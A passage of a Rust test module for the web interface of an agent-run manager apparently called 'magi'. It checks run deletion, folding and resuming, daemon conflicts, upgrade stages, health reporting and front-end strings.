7778 "main".to_owned(),
7779 "abc".to_owned(),
7780 "instruction".to_owned(),
7781 Config::default(),
7782 );
7783 state2.id = run_unfolded.to_owned();
7784 state2.status = RunStatus::Ready;
7785 state2.candidates.push(crate::run::Candidate {
7786 index: 0,
7787 label: 'A',
7788 agent: "a".to_owned(),
7789 branch: "b".to_owned(),
7790 worktree: PathBuf::from("/w"),
7791 summary: String::new(),
7792 stat: String::new(),
7793 files: 1,
7794 commits: 1,
7795 empty: false,
7796 failed: None,
7797 verified_noop: None,
7798 duration_ms: 0,
7799 folded: false,
7800 });
7801 let dir2 = runs.join(run_unfolded);
7802 std::fs::create_dir_all(&dir2).expect("create dir2");
7803 std::fs::write(
7804 dir2.join("run.json"),
7805 serde_json::to_string(&state2).unwrap(),
7806 )
7807 .expect("write run.json");
7808
7809 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
7810 assert_eq!(res.status, 409);
7811 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
7812 assert!(dir2.exists(), "unfolded run directory is kept");
7813
7814 let res = fx.delete("/api/runs/nonexistent").await;
7816 assert_eq!(res.status, 404);
7817 }
7818
7819 #[test]
7820 fn web_ui_delete_contract_in_front_end() {
7821 assert!(APP_JS.contains("deleteRun:"));
7823 assert!(APP_JS.contains("deleteTask:"));
7824
7825 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
7827 ..APP_JS.find("function renderRuns").unwrap()];
7828 assert!(!run_cards_slice.to_lowercase().contains("delete"));
7829
7830 assert!(APP_JS.contains("renderRunDelete"));
7832 assert!(APP_JS.contains("runDeleteReason"));
7833 assert!(APP_JS.contains("magi fold"));
7834 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
7835
7836 assert!(APP_JS.contains("cancel.focus"));
7838 assert!(APP_JS.contains("armedRunDelete"));
7839 assert!(APP_JS.contains("armedDelete"));
7840
7841 assert!(APP_JS.contains("disabled: status === \"running\""));
7843 }
7844
7845 #[test]
7865 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
7866 let build = APP_JS
7867 .find("function createRunCard")
7868 .expect("createRunCard exists");
7869 let update = APP_JS
7870 .find("function updateRunCard")
7871 .expect("updateRunCard exists");
7872 let end = APP_JS
7873 .find("function renderRuns")
7874 .expect("renderRuns exists");
7875
7876 let builder = &APP_JS[build..update];
7878 let open = builder.find("refs = {").expect("createRunCard sets refs");
7879 let literal = &builder[open + "refs = {".len()..];
7880 let close = literal.find('}').expect("the refs literal is closed");
7881 let published: HashSet<&str> = literal[..close]
7882 .split(',')
7883 .filter_map(|entry| entry.split(':').next())
7885 .map(str::trim)
7886 .filter(|name| !name.is_empty())
7887 .collect();
7888 assert!(
7889 published.len() > 5,
7890 "the refs literal did not parse into names: {published:?}"
7891 );
7892
7893 let mut used: Vec<&str> = Vec::new();
7896 let updaters = &APP_JS[update..end];
7897 for (at, _) in updaters.match_indices("r.") {
7898 let before = updaters[..at].chars().next_back();
7901 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
7902 continue;
7903 }
7904 let rest = &updaters[at + 2..];
7905 let len = rest
7906 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
7907 .unwrap_or(rest.len());
7908 if len > 0 {
7909 used.push(&rest[..len]);
7910 }
7911 }
7912 assert!(
7913 used.len() > 5,
7914 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
7915 );
7916
7917 let missing: Vec<&str> = used
7918 .iter()
7919 .copied()
7920 .filter(|name| !published.contains(name))
7921 .collect();
7922 assert!(
7923 missing.is_empty(),
7924 "a run card's updater reaches for {missing:?}, which `createRunCard` \
7925 never put in `refs` - every card will throw and the list will \
7926 render empty under a count line that says otherwise. Published: \
7927 {published:?}"
7928 );
7929 }
7930
7931 #[tokio::test]
7932 async fn folding_from_the_phone_reports_what_it_removed() {
7933 let fx = Fixture::start().await;
7934 let runs = fx.runs();
7935
7936 let id = "20260901-000000-fold";
7940 write_run(&runs, id, RunStatus::Stalled);
7941 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7942 assert_eq!(res.status, 200);
7943 assert_eq!(res.json()["removed_count"], 0);
7944 assert_eq!(res.json()["run"], id);
7945 assert!(
7946 runs.join(id).exists(),
7947 "a fold keeps the run's record; only the worktrees go"
7948 );
7949 }
7950
7951 #[tokio::test]
7952 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
7953 let fx = Fixture::start().await;
7954 let runs = fx.runs();
7955 let wt = fx.home.path().join("wt").join("magi").join("dead");
7956 let id = "20260901-000000-dead";
7957 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7958 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7959 std::fs::create_dir_all(&wt).expect("worktree dir");
7960
7961 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7962 assert_eq!(res.status, 200, "{}", res.body);
7963 assert!(
7964 res.json()["removed_count"].as_u64().unwrap() > 0,
7965 "the worktree this build could not read a state for still went"
7966 );
7967 assert!(
7968 !runs.join(id).exists(),
7969 "an unreadable run has no candidate list to fold selectively, so \
7970 the whole record goes - same as `magi fold` on the CLI"
7971 );
7972 }
7973
7974 #[tokio::test]
7975 async fn deleting_an_unreadable_run_removes_it_wholesale() {
7976 let fx = Fixture::start().await;
7977 let runs = fx.runs();
7978 let wt = fx.home.path().join("wt").join("magi").join("gone");
7979 let id = "20260901-000000-gone";
7980 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7981 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7982 std::fs::create_dir_all(&wt).expect("worktree dir");
7983
7984 let res = fx.delete(&format!("/api/runs/{id}")).await;
7985 assert_eq!(res.status, 204, "{}", res.body);
7986 assert!(!runs.join(id).exists(), "the broken record is gone");
7987 assert!(!wt.exists(), "its worktree is gone too");
7988 }
7989
7990 #[tokio::test]
7991 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
7992 let fx = Fixture::start().await;
7993 let runs = fx.runs();
7994 let id = "20260901-000000-live";
7995 write_run(&runs, id, RunStatus::Implementing);
7996
7997 let mut beat = crate::daemon::Status::new();
7998 beat.current = vec![crate::daemon::Current {
7999 task: "20260901-000000-task".to_owned(),
8000 run: id.to_owned(),
8001 }];
8002 beat.updated_at = jiff::Timestamp::now();
8003 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8004 .expect("publish a heartbeat");
8005
8006 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
8007 assert_eq!(res.status, 409);
8008 assert!(
8009 res.json()["error"]
8010 .as_str()
8011 .unwrap()
8012 .contains("live daemon"),
8013 "folding under a running agent would pull its worktree away"
8014 );
8015 }
8016
8017 #[tokio::test]
8018 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
8019 let fx = Fixture::start().await;
8020 let runs = fx.runs();
8021
8022 for (status, word) in [
8028 (RunStatus::Merged, "merged"),
8029 (RunStatus::Ready, "ready"),
8030 (RunStatus::Failed, "failed"),
8031 ] {
8032 let id = format!("20260901-000000-{}", &word[..4]);
8033 write_run(&runs, &id, status);
8034 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
8035 assert_eq!(res.status, 409, "{word} must not be resumable");
8036 let err = res.json()["error"].as_str().unwrap().to_owned();
8037 assert!(err.contains(word), "the refusal names the status: {err}");
8038 }
8039
8040 let mid = "20260901-000000-midf";
8045 write_run(&runs, mid, RunStatus::Reviewing);
8046 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
8047 assert_eq!(res.status, 202, "an interrupted run is resumable");
8048 }
8049
8050 #[tokio::test]
8051 async fn resume_is_refused_while_the_loop_is_running() {
8052 let fx = Fixture::start().await;
8053 let runs = fx.runs();
8054 let stalled = "20260901-000000-stal";
8055 write_run(&runs, stalled, RunStatus::Stalled);
8056
8057 let mut beat = crate::daemon::Status::new();
8061 beat.current = vec![crate::daemon::Current {
8062 task: "20260901-000000-task".to_owned(),
8063 run: "20260901-000000-othr".to_owned(),
8064 }];
8065 beat.updated_at = jiff::Timestamp::now();
8066 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8067 .expect("publish a heartbeat");
8068
8069 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
8070 assert_eq!(res.status, 409);
8071 let err = res.json()["error"].as_str().unwrap().to_owned();
8072 assert!(err.contains("othr"), "it names what the loop is on: {err}");
8073 assert!(err.contains("stop it first"), "{err}");
8074 }
8075
8076 #[test]
8077 fn a_run_cannot_be_resumed_twice_at_once() {
8078 let home = TempDir::new().expect("temp home");
8079 let ui = Ui::new(
8080 Queue::at(home.path().join("queue")),
8081 Questions::at(home.path().join("questions")),
8082 Talks::at(home.path().join("talks")),
8083 home.path().join("runs"),
8084 home.path().to_path_buf(),
8085 PathBuf::from("/repo"),
8086 )
8087 .with_worktrees_root(home.path().join("wt"));
8088 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
8089 let again = ui.begin_resume("20260901-000000-once");
8090 assert!(again.is_err(), "a second tap must not start a second graph");
8091 drop(first);
8092 assert!(
8093 ui.begin_resume("20260901-000000-once").is_ok(),
8094 "and the claim is released when the attempt ends"
8095 );
8096 }
8097
8098 #[test]
8099 fn talk_thinking_tracks_only_its_held_turn_claim() {
8100 let home = TempDir::new().expect("temp home");
8101 let ui = Ui::new(
8102 Queue::at(home.path().join("queue")),
8103 Questions::at(home.path().join("questions")),
8104 Talks::at(home.path().join("talks")),
8105 home.path().join("runs"),
8106 home.path().to_path_buf(),
8107 PathBuf::from("/repo"),
8108 )
8109 .with_worktrees_root(home.path().join("wt"));
8110 let id = "20260901-000000-once";
8111
8112 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
8113 let turn = ui.begin_talk_turn(id).expect("claim turn");
8114 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
8115 assert!(
8116 !ui.is_thinking("20260901-000000-other"),
8117 "one talk's turn does not make another talk busy"
8118 );
8119 drop(turn);
8120 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
8121 }
8122
8123 #[tokio::test]
8124 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
8125 let fx = Fixture::start().await;
8126 let mut beat = crate::daemon::Status::new();
8130 beat.pid = 4321;
8131 beat.updated_at = jiff::Timestamp::now();
8132 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8133 .expect("publish a heartbeat");
8134
8135 let res = fx.post("/api/upgrade", None).await;
8136 assert_eq!(res.status, 409);
8137 let err = res.json()["error"].as_str().unwrap().to_owned();
8138 assert!(err.contains("4321"), "the refusal names the owner: {err}");
8139 assert!(err.contains("old one against the same queue"), "{err}");
8140 }
8141
8142 #[test]
8149 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
8150 assert!(!should_spawn_recheck(&crate::config::Update {
8151 mode: UpdateMode::Off,
8152 interval: None,
8153 }));
8154
8155 unsafe {
8158 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
8159 }
8160 let killed = should_spawn_recheck(&crate::config::Update {
8161 mode: UpdateMode::Notify,
8162 interval: None,
8163 });
8164 unsafe {
8165 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
8166 }
8167 assert!(
8168 !killed,
8169 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
8170 one-time startup check"
8171 );
8172
8173 assert!(should_spawn_recheck(&crate::config::Update {
8174 mode: UpdateMode::Notify,
8175 interval: None,
8176 }));
8177 }
8178
8179 #[test]
8185 fn recheck_poll_period_tracks_a_short_configured_interval() {
8186 let short = crate::config::Update {
8187 mode: UpdateMode::Notify,
8188 interval: Some("1m".to_owned()),
8189 };
8190 let period = recheck_poll_period(&short);
8191 assert!(
8192 period <= Duration::from_secs(30),
8193 "a one-minute interval must wake the task far sooner than the \
8194 default ceiling, or the deck would not notice within the \
8195 interval the operator configured: got {period:?}"
8196 );
8197
8198 let default = crate::config::Update {
8199 mode: UpdateMode::Notify,
8200 interval: None,
8201 };
8202 assert_eq!(
8203 recheck_poll_period(&default),
8204 UPDATE_RECHECK_POLL_MAX,
8205 "the default day-long interval should poll at the (capped) \
8206 ceiling rather than needlessly often"
8207 );
8208 }
8209
8210 #[test]
8218 fn recheck_skips_the_network_before_the_interval_elapses() {
8219 let dir = TempDir::new().expect("temp dir");
8220 let path = dir.path().join("state.json");
8221 let state = kaishin::UpdateCheckState {
8222 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
8223 last_known_latest: None,
8224 last_known_url: None,
8225 };
8226 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
8227
8228 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
8229 assert!(
8230 !update_recheck_due(&checker, None),
8231 "a check made moments ago must not be repeated before the \
8232 configured interval elapses"
8233 );
8234 }
8235
8236 #[test]
8242 fn recheck_defers_to_an_upgrade_already_in_flight() {
8243 let dir = TempDir::new().expect("temp dir");
8244 let path = dir.path().join("state.json");
8245 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
8246 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
8247
8248 assert!(
8249 !update_recheck_due(&checker, Some(&progress)),
8250 "a recheck must not run while an upgrade this deck started is \
8251 still moving"
8252 );
8253 }
8254
8255 #[tokio::test]
8256 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
8257 unsafe {
8269 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
8270 }
8271 let fx = Fixture::start().await;
8272 let res = fx.post("/api/upgrade", None).await;
8273 unsafe {
8274 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
8275 }
8276 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
8277 let body = res.json();
8278 assert!(body["to"].is_null(), "there was no release to move to");
8279 assert!(body["parked"].is_null(), "and nothing was parked");
8280 assert!(
8281 body["detail"]
8282 .as_str()
8283 .unwrap()
8284 .contains("disabled by MAGI_NO_AUTOUPDATE"),
8285 "{body:?}"
8286 );
8287 }
8288
8289 #[tokio::test]
8290 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
8291 let repo = TempDir::new().expect("repo dir");
8307 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
8308 .expect("write magi.toml");
8309 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
8310
8311 let res = fx.post("/api/upgrade", None).await;
8317 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
8318 let body = res.json();
8319 assert!(body["to"].is_null(), "there was no release to move to");
8320 assert!(body["parked"].is_null(), "and nothing was parked");
8321 assert!(
8322 body["detail"]
8323 .as_str()
8324 .unwrap()
8325 .contains("nothing restarted"),
8326 "{body:?}"
8327 );
8328 }
8329
8330 #[tokio::test]
8331 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
8332 let repo = TempDir::new().expect("repo dir");
8337 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
8338 .expect("write magi.toml");
8339 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
8340
8341 let health = fx.get("/api/health").await.json();
8342 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
8343 assert_eq!(
8344 health["update"]["available"], false,
8345 "checking is off, which reads as \"unknown\", not \"none\""
8346 );
8347 assert!(health["update"]["to"].is_null());
8348 assert!(
8349 health["upgrade"].is_null(),
8350 "nothing has ever asked this deck to upgrade"
8351 );
8352 }
8353
8354 #[tokio::test]
8355 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
8356 let fx = Fixture::start().await;
8357 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
8358
8359 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8360 progress.parked_run = Some("20260905-000000-cd51".to_owned());
8361 progress.advance(crate::updater::Stage::Parking);
8362 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
8363
8364 let health = fx.get("/api/health").await.json();
8365 assert_eq!(health["upgrade"]["stage"], "parking");
8366 assert_eq!(health["upgrade"]["from"], "0.5.1");
8367 assert_eq!(health["upgrade"]["to"], "0.5.2");
8368 let waiting_on = health["upgrade"]["waiting_on"]
8369 .as_str()
8370 .expect("waiting_on is set while parking a known run");
8371 assert!(waiting_on.contains("cd51"), "{waiting_on}");
8372 assert!(waiting_on.contains("implementing"), "{waiting_on}");
8373 }
8374
8375 #[tokio::test]
8376 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
8377 let fx = Fixture::start().await;
8378 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8379 progress.advance(crate::updater::Stage::Done);
8380 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
8381
8382 let health = fx.get("/api/health").await.json();
8383 assert_eq!(health["upgrade"]["stage"], "done");
8384 assert!(
8385 health["upgrade"]["waiting_on"].is_null(),
8386 "nothing to wait on once it is done"
8387 );
8388 }
8389
8390 #[tokio::test]
8391 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
8392 let home = TempDir::new().expect("temp home");
8393 let runs = home.path().join("runs");
8394 std::fs::create_dir_all(&runs).expect("runs dir");
8395 let ui = Ui::new(
8396 Queue::at(home.path().join("queue")),
8397 Questions::at(home.path().join("questions")),
8398 Talks::at(home.path().join("talks")),
8399 runs,
8400 home.path().to_path_buf(),
8401 PathBuf::from("/repo/magi"),
8402 )
8403 .with_launch(launch_idle);
8404 let looping = ui.looping();
8405 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8406 .await
8407 .expect("bind loopback");
8408 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
8409
8410 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8411 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
8412
8413 hand_over(home.path(), &looping, served, || Ok(()))
8414 .await
8415 .expect("hand over");
8416
8417 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
8418 assert_eq!(
8419 after.stage,
8420 crate::updater::Stage::Restarting,
8421 "hand_over owns the record through parking and up to restarting; \
8422 the successor is what finishes it"
8423 );
8424 }
8425
8426 #[test]
8427 fn the_upgrade_button_arms_before_it_restarts_anything() {
8428 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
8431 assert!(APP_JS.contains("Replace the binary and restart?"));
8432 assert!(APP_JS.contains("function confirmed("));
8433 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
8438 assert!(
8442 APP_JS.contains("Parking, then restarting"),
8443 "the button says what it is waiting for"
8444 );
8445 assert!(APP_JS.contains("if (!out.to)"));
8448 }
8449
8450 #[test]
8451 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
8452 assert!(
8453 APP_JS.contains("state.health.version"),
8454 "the operator wants to know what is running even with nothing newer"
8455 );
8456 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
8457 }
8458
8459 #[test]
8460 fn the_upgrade_button_names_its_destination() {
8461 assert!(
8462 APP_JS.contains("`Update to ${update.to}`"),
8463 "pressing the button should not be a surprise about what it moves to"
8464 );
8465 }
8466
8467 #[test]
8468 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
8469 for stage in ["downloading", "replaced", "parking", "restarting"] {
8470 assert!(
8471 APP_JS.contains(&format!("\"{stage}\"")),
8472 "the phone must be able to tell {stage} apart from the others"
8473 );
8474 }
8475 assert!(APP_JS.contains(".waiting_on"));
8476 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
8481 assert!(APP_JS.contains("reconnects on its own"));
8482 }
8483
8484 #[test]
8485 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
8486 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
8495 ..APP_JS.find("function upgrade(").expect("upgrade")];
8496 assert!(
8497 !body.contains(
8498 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
8499 ),
8500 "a failed upgrade must not take the whole strip over the way it used to"
8501 );
8502 assert!(
8503 body.contains("upgradeFailNote"),
8504 "the failure has to reach the loop's own note instead"
8505 );
8506 assert_eq!(
8510 body.matches("upgradeFailNote].filter(Boolean).join")
8511 .count(),
8512 2,
8513 "both loop-why writers (quiet and control) must fold the note in"
8514 );
8515 }
8516
8517 #[test]
8518 fn an_overdue_upgrade_eventually_asks_for_a_human() {
8519 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
8522 assert!(APP_JS.contains("function upgradeOverdue("));
8523 }
8524
8525 #[test]
8526 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
8527 assert!(
8528 APP_JS.contains("Updated to ${upgradeInfo.to"),
8529 "the operator who asked for the restart wants to know it worked"
8530 );
8531 }
8532
8533 #[test]
8534 fn an_error_is_visible_from_where_the_button_is() {
8535 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
8540 ..APP_CSS.find(".alert-text").expect(".alert-text")];
8541 assert!(
8542 alert.contains("position: fixed"),
8543 "an error about the thing under your thumb has to be visible from \
8544 where your thumb is: {alert}"
8545 );
8546 assert!(
8547 alert.contains("z-index: 25"),
8548 "above the dock (20) and the run-actions FAB (15), so neither \
8549 buries it: {alert}"
8550 );
8551 assert!(
8552 alert.contains("var(--tap)"),
8553 "and clear of the dock and the home indicator: {alert}"
8554 );
8555 assert!(
8558 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
8559 "the FAB's column stays free: {alert}"
8560 );
8561 }
8562
8563 #[tokio::test]
8564 async fn an_older_attempt_says_what_replaced_it() {
8565 let fx = Fixture::start().await;
8566 let q = fx.queue();
8567 let runs = fx.runs();
8568 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
8569 write_run(&runs, first, RunStatus::Stalled);
8570 write_run(&runs, second, RunStatus::Blocked);
8571
8572 let mut t = Task::new(
8573 "one task".to_owned(),
8574 "do it".to_owned(),
8575 PathBuf::from("/repo"),
8576 Source::Human,
8577 );
8578 t.runs = vec![first.to_owned(), second.to_owned()];
8579 q.put(&mut t).expect("put");
8580
8581 let rows = fx.get("/api/runs").await.json();
8585 let by = |short: &str| -> Value {
8586 rows.as_array()
8587 .unwrap()
8588 .iter()
8589 .find(|r| r["short"] == short)
8590 .cloned()
8591 .unwrap_or(Value::Null)
8592 };
8593 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
8594 assert!(
8595 by("bbbb")["superseded_by"].is_null(),
8596 "the latest attempt is not superseded by anything"
8597 );
8598 assert!(APP_JS.contains("run.superseded_by"));
8600 assert!(APP_JS.contains("Superseded by"));
8601 }
8602
8603 #[tokio::test]
8604 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
8605 let fx = Fixture::start().await;
8606 let js = fx.get("/app.js").await;
8612 assert_eq!(js.status, 200);
8613 let tag = js
8614 .header("etag")
8615 .expect("an etag to revalidate against")
8616 .to_owned();
8617 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
8618 assert_eq!(
8619 js.header("cache-control"),
8620 Some("no-cache, must-revalidate"),
8621 "the phone has to ask every time"
8622 );
8623
8624 let again = fx
8627 .get_with("/app.js", &[("if-none-match", tag.as_str())])
8628 .await;
8629 assert_eq!(
8630 again.status, 304,
8631 "a deck it already has costs one round trip"
8632 );
8633 assert!(again.body.is_empty(), "304 carries no body");
8634
8635 let weak = fx
8638 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
8639 .await;
8640 assert_eq!(weak.status, 304);
8641 let stale = fx
8642 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
8643 .await;
8644 assert_eq!(stale.status, 200, "an older build must be replaced");
8645 assert!(stale.body.contains("renderRunActions"));
8646 }
8647
8648 #[test]
8649 fn the_deck_never_sends_the_operator_to_a_terminal() {
8650 assert!(
8653 !APP_JS.contains("Run `magi fold` first"),
8654 "the deck must offer the fold, not prescribe a shell command"
8655 );
8656 assert!(APP_JS.contains("foldRun:"));
8657 assert!(APP_JS.contains("resumeRun:"));
8658 assert!(APP_JS.contains("renderRunActions"));
8659
8660 assert!(APP_JS.contains("armedFold"));
8662 assert!(APP_JS.contains("Yes, fold worktrees"));
8663
8664 assert!(APP_JS.contains("can no longer be resumed"));
8667 }
8668
8669 #[test]
8670 fn a_finished_run_explains_itself_with_its_own_last_line() {
8671 assert!(
8677 !APP_JS.contains("collapsed on agent quota"),
8678 "a stall must not be explained by a cause the deck did not check"
8679 );
8680 assert!(
8681 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
8682 "and a block must not offer a guess with an `or` in it"
8683 );
8684
8685 assert!(
8689 APP_JS.contains("setText(r.event, run.event || \"\")"),
8690 "the run's last line is rendered unconditionally"
8691 );
8692 assert!(
8693 !APP_JS.contains("moving && run.event"),
8694 "and never gated on the run still moving"
8695 );
8696
8697 assert!(APP_JS.contains("lost to quota"));
8699 }
8700
8701 #[test]
8723 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
8724 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
8725 let shapes_body_start =
8726 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
8727 let shapes_close = APP_JS[shapes_body_start..]
8728 .find("].map(")
8729 .expect("the shape list is closed by its done-computing .map(...)")
8730 + shapes_body_start;
8731 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
8732
8733 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
8734 for entry in shapes_src.split('{').skip(1) {
8735 let waiting = entry.contains("waiting: true");
8736 let dead = entry.contains("live: \"dead\"");
8737 let status_at =
8738 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
8739 let status_end = entry[status_at..]
8740 .find('"')
8741 .expect("the status string is closed")
8742 + status_at;
8743 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
8744 }
8745 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
8746
8747 let done_rule_marker = "done: !";
8751 let done_rule_at = APP_JS[shapes_close..]
8752 .find(done_rule_marker)
8753 .expect("the done rule follows the shape list")
8754 + shapes_close
8755 + done_rule_marker.len();
8756 let includes_at = APP_JS[done_rule_at..]
8757 .find(".includes(shape.status)")
8758 .expect("the done rule ends in .includes(shape.status)")
8759 + done_rule_at;
8760 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
8761 .trim()
8762 .trim_start_matches('[')
8763 .trim_end_matches(']')
8764 .split(',')
8765 .map(|s| s.trim().trim_matches('"'))
8766 .filter(|s| !s.is_empty())
8767 .collect();
8768
8769 let shapes: Vec<(bool, String, bool, bool)> = shapes
8770 .into_iter()
8771 .map(|(waiting, status, dead)| {
8772 let done = !not_done.contains(&status.as_str());
8773 (waiting, status, dead, done)
8774 })
8775 .collect();
8776
8777 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
8781 if waiting {
8782 return "waiting";
8783 }
8784 if dead
8785 && !matches!(
8786 status,
8787 "merged" | "ready" | "stalled" | "blocked" | "failed" | "verified_noop"
8788 )
8789 {
8790 return "stale";
8791 }
8792 match status {
8793 "merged" | "ready" => "landed",
8794 "stalled" | "blocked" | "failed" | "verified_noop" => "ended",
8795 _ => "flight",
8796 }
8797 }
8798
8799 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
8802 match filter_key {
8803 "active" => !done,
8804 "flight" => !done && !waiting && !dead,
8805 "stale" => !done && !waiting && dead,
8806 "waiting" => waiting,
8807 "done" => done,
8808 "all" => true,
8809 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
8810 }
8811 }
8812
8813 let compatible = |section: &str, filter_key: &str| {
8814 shapes.iter().any(|(waiting, status, dead, done)| {
8815 run_section(*waiting, status, *dead) == section
8816 && filter_matches(filter_key, *waiting, *dead, *done)
8817 })
8818 };
8819
8820 let expected = [
8825 ("waiting", [true, false, false, true, true, true]),
8826 ("stale", [true, false, true, false, false, true]),
8827 ("flight", [true, true, false, false, false, true]),
8828 ("landed", [false, false, false, false, true, true]),
8829 ("ended", [false, false, false, false, true, true]),
8830 ];
8831 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
8832
8833 for (section, wants) in expected {
8834 for (filter_key, want) in filter_keys.iter().zip(wants) {
8835 assert_eq!(
8836 compatible(section, filter_key),
8837 want,
8838 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
8839 );
8840 }
8841 }
8842
8843 assert!(
8846 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
8847 );
8848 assert!(APP_JS.contains(
8849 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
8850 ));
8851 assert!(APP_JS.contains(
8852 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
8853 ));
8854 }
8855
8856 #[tokio::test]
8857 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
8858 let dir = tempfile::tempdir().expect("tempdir");
8862 let explicit = dir.path().join("not-a-checkout");
8863 std::fs::create_dir_all(&explicit).expect("create dir");
8864 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
8865
8866 let missing = dir.path().join("does-not-exist-at-all");
8867 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
8868 }
8869}